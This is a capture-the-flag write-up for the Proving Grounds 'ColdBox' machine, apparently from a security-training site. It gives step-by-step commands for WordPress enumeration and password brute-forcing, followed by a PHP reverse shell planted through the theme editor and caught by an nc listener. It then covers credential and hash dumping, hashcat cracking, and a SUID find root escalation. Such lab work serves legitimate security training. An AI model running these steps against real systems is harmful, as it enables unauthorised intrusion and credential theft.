Skip to content
HackIndex logo

HackIndex

ColdBoxEasy Writeup - Proving Grounds

Easy Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 2 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18
|_http-generator: WordPress 4.1.31
|_http-title: ColddBox | One more machine
4512/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

SSH is running on a non-standard port 4512. HTTP immediately discloses WordPress 4.1.31 in the generator meta tag.

WordPress Enumeration

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP --enumerate --api-token $WPSCAN_TOKEN

Users identified:

  • c0ldd

  • hugo

  • philip

┌──(kali㉿kali)-[~]
└─$ nikto -host http://$TARGET_IP

Nikto surfaces a non-standard path:

/hidden/: This might be interesting.

Browsing to http://$TARGET_IP/hidden/ reveals a message left by the admin:

U-R-G-E-N-T
C0ldd, you changed Hugo's password, when you can send it to him
so he can continue uploading his articles. Philip

This confirms c0ldd is the admin and recently changed credentials — making brute-force likely to succeed quickly.

Initial Access

WordPress Password Brute-Force → RCE via Theme Editor

Brute-force the WordPress login for all three enumerated users:

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP \
-U c0ldd,hugo,philip \
--passwords /usr/share/wordlists/rockyou.txt 
[SUCCESS] - c0ldd / $C0LDD_PASSWORD

Log in to wp-admin as c0ldd. Navigate to the theme editor and inject a PHP reverse shell into a theme template file:

Appearance → Theme Editor → Twenty Fifteen → single.php

Replace the file content with a PHP reverse shell (pentestmonkey's php-reverse-shell.php). Set $ip and $port to your listener, save the file, then trigger it by visiting any post:

http://$TARGET_IP/?p=1
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [192.168.234.239]
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data. Grab local.txt from /home/c0ldd/.

Post-Exploitation

wp-config.php — Database Credentials

┌──(kali㉿kali)-[~]
└─$ cat /var/www/html/wp-config.php 
define('DB_NAME', 'colddbox');
define('DB_USER', 'c0ldd');
define('DB_PASSWORD', '$MYSQL_PASSWORD');
define('DB_HOST', 'localhost');

Dump all WordPress password hashes via MySQL:

┌──(kali㉿kali)-[~]
└─$ mysql -u c0ldd -p$MYSQL_PASSWORD colddbox \
-e 'SELECT user_login,user_pass FROM wp_users;' 
c0ldd    $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1
hugo     $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/
philip   $P$BXZ9bXCbA1JQuaCqOuuIiY4vyzjK/Y.

Crack with hashcat (mode 400 — PHPass):

┌──(kali㉿kali)-[~]
└─$ hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 400 
$P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1:$C0LDD_PASSWORD
$P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/:$HUGO_PASSWORD

The MySQL password for c0ldd is separate from the WordPress login password — both are useful but the privesc path is SUID-based.

Privilege Escalation

SUID find → Root Shell

Run linpeas or manually check SUID binaries:

user@host ~ $ find / -perm -4000 -type f 2>/dev/null 
-rwsr-xr-x 1 root root 217K Feb  8  2016 /usr/bin/find

find is SUID root. Per GTFOBins, this gives an immediate root shell:

user@host ~ $ find . -exec /bin/sh -p \; -quit 
whoami
root

Grab proof.txt from /root/.